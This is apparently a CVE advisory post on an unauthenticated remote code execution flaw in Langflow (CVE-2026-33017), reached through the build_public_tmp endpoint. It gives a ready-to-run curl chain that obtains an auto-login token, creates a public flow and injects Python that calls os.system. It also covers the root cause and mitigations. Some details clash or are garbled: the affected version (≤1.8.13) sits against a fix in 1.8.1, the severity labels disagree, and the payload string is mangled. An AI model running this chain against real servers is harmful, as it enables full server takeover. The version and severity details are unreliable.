Listen to this Post
The vulnerability allows unauthenticated remote code execution (RCE) via the `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint. This endpoint is designed to build public flows without authentication, but it incorrectly accepts an optional attacker-controlled `data` parameter. When this parameter is supplied, the system uses the attacker’s flow data—containing malicious Python code embedded in node definitions—instead of the legitimate flow data stored in the database. This malicious data is passed through the graph building process, where the code is extracted and ultimately executed by an unsandboxed `exec()` call in prepare_global_scope(). The `exec()` function executes all top-level AST nodes, including `Assign` nodes, meaning code like `_x = os.system(“id”)` runs immediately during graph building. The prerequisite is a Langflow instance with at least one public flow (and the default `AUTO_LOGIN=true` setting allows attackers to create one). The exploit involves sending a crafted JSON payload to the vulnerable endpoint with a `code` field containing arbitrary Python commands, resulting in full server compromise .
DailyCVE Form:
Platform: Langflow
Version: ≤1.8.13
Vulnerability : Code Injection
Severity: Critical
date: March 18, 2026
Prediction: Patched in 1.8.1
What Undercode Say:
Analytics
The vulnerability (CVE-2026-33017) has a CVSS score of 9.3 (High) . POC is publicly available, and exploitation is considered likely . The root cause is the lack of authentication and input sanitization on the `/api/v1/build_public_tmp/{flow_id}/flow` endpoint, where the `data` parameter is passed directly to Python’s `exec()` without sandboxing . This is distinct from a previously patched vulnerability (CVE-2025-3248) which affected the `/api/v1/validate/code` endpoint .
How Exploit:
The exploit requires a Public Flow ID. If `AUTO_LOGIN=true` (default), an attacker can generate one without credentials.
1. Get superuser token (no creds needed if AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
2. Create a public flow to get a valid Flow ID
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"exploit","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
3. Exploit: Send malicious code to the unauthenticated endpoint
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "rce-node",
"data": {
"node": {
"template": {
"code": {
"value": "import os; os.system(\"touch /tmp/pwned\") This code executes"
}}}}}]}}'
Vulnerable Code Snippet
The flaw lies in the `prepare_global_scope` function which uses `exec()` unsafely.
File: src/lfx/src/lfx/custom/validate.py def prepare_global_scope(module): ... if definitions: combined_module = ast.Module(body=definitions, type_ignores=[]) compiled_code = compile(combined_module, "<string>", "exec") exec(compiled_code, exec_globals) < UNSAFE EXEC
Protection from this CVE
- Upgrade: Immediately update to Langflow version 1.8.1 or later .
- Network Restriction: Block access to the `build_public_tmp` endpoint or restrict it by IP address if possible.
- Disable Auto Login: Set `AUTO_LOGIN=false` in production environments to prevent unauthorized flow creation.
- Remove Parameter: Apply the recommended patch by removing the `data` parameter from the `build_public_tmp` function in `chat.py` .
Impact
Successful exploitation allows an unauthenticated attacker to achieve Remote Code Execution (RCE) with the privileges of the Langflow server process . This can lead to complete server compromise, including data theft, installation of backdoors, credential harvesting, and lateral movement within the network .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
